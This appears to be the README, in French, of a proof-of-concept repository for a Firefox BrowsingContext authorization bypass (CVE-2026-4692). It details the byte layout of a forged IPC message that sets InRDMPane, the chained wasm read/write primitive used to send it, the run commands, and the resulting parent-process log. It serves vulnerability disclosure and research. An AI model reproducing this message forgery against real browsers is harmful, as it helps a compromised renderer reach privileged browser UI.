
Preuve de concept d'exploitation pour le contournement d'autorisation BrowsingContext de Firefox (CVE-2026-4692), démontrant des messages IPC falsifiés pour définir InRDMPane et activer l'injection d'événements tactiles privilégiés dans l'interface utilisateur.
Preuve de concept d'un contrôle d'autorisation manquant sur la synchronisation
du champ BrowsingContext : un processus de contenu compromis forge un
message PContent::CommitBrowsingContextTransaction définissant InRDMPane = true
sur son propre BrowsingContext de niveau supérieur, et le processus parent
l'applique.
Cible : Firefox 149.0a1 nightly @ 2fbc0748c4 (vulnérable, avant correctif), macOS arm64.
Corrigé dans Firefox 149 — bug 2017643, commit a9279ce332ed (« Prevent toggling RDM
BrowsingContext flag from content processes »), qui ajoute :
bool BrowsingContext::CanSet(FieldIndex<IDX_InRDMPane>, const bool&,
ContentParent* aSource) {
return XRE_IsParentProcess() && IsTop() && !aSource; // rejeter si depuis le contenu
}
InRDMPane indique au parent que l'onglet est un volet du mode de conception réactive (RDM). Le
parent s'y fie lors du test de hit des événements tactiles synthétisés
(BrowserParent::RecvDispatchTouchEvent) : les événements censés cibler un volet RDM
sont autorisés à atterrir sur l'interface chrome privilégiée. Un processus de contenu
compromis qui définit ce drapeau peut alors envoyer des événements tactiles avec des coordonnées
négatives/hors contenu et cliquer sur l'interface privilégiée sans interaction utilisateur (voir le
repro.patch du rapporteur sur le bug 2017643, qui démontre exactement cela avec une build
patchée). Ce dépôt démontre la violation de frontière habilitante elle-même, avec une
véritable forge de message — aucune modification des sources du navigateur.
PContent::CommitBrowsingContextTransaction — type de message 0x3a0137
(PContentMsgStart=58 << 16 | ordinal 311), routage MSG_ROUTING_CONTROL
(INT64_MAX), drapeaux NOT_NESTED (0x001) :
u64 bcid sentinelle 235406151 ('aContext')
u64 0x0000000000800000 bitset modifié mot0 (bit 23 = InRDMPane)
u64 0 bitset mot1 (les mots de BitSet<84> sont des size_t = u64 !)
u32 1 WriteBool(true)
u32 523371752 sentinelle 'aTransaction'
u64 epoch (la vérification d'epoch est MOZ_ASSERT uniquement ; compilée ici)
u32 132121169 sentinelle 'aEpoch'
La livraison réutilise le chemin d'envoi de CVE-2026-74939 : operator new →
IPC::Message::Message(routing, type, capacity, flags) → Pickle::WriteBytes →
MessageChannel::Send sur le canal PContent, piloté depuis JS via la primitive
d'appel funcref wasm (wasm-bytes.js, étape 1 = CVE-2026-2796).
Journal côté parent (MOZ_LOG=BrowsingContextSync:5) après ./irun :
D/BrowsingContextSync Transaction::Apply(#380000001, ipc): InRDMPane(false->true)
#380000001 est le BrowsingContext de niveau supérieur de la popup (id alloué par
l'enfant, créé from IPC), et ipc marque la transaction comme provenant du contenu.
Sur une build corrigée, le même message échoue à la validation CanSet et est rejeté.
Prérequis : build Nightly vulnérable à /Users/sid/gecko-2766/obj-browser,
.venv avec psutil, et le serveur de journalisation fourni en cours d'exécution :
python3 srv.py > /tmp/srv4692.log 2>&1 & # sert ce répertoire sur :8781
python3 forge_bctx.py # construit bctx.bin/bctx.json
./irun # lance + injecte + collecte les preuves
a9279ce332ed (MFSA 2026-20, Firefox 149)../poc-cve-2026-74939)../poc-cve-2026-12295)| Fichier | Objectif |
|---|
bctx.html | Page PoC : calcule l'id BC de la popup à l'exécution, le patch dans le message forgé, l'envoie |
forge_bctx.py | construit bctx.bin/bctx.json (auto-vérifiant), entièrement statique sauf l'id BC |
wasm-bytes.js | primitives étape 1 : lecture/écriture arbitraires, appels funcref |
mdrive2.py | harnais marionette |
irun | exécution instrumentée : attachement lldb + preuve BrowsingContextSync |
srv.py | serveur web de journalisation pour les pages PoC (:8781) |
profile.user.js | préférences du profil Firefox (fission activé, dump activé) |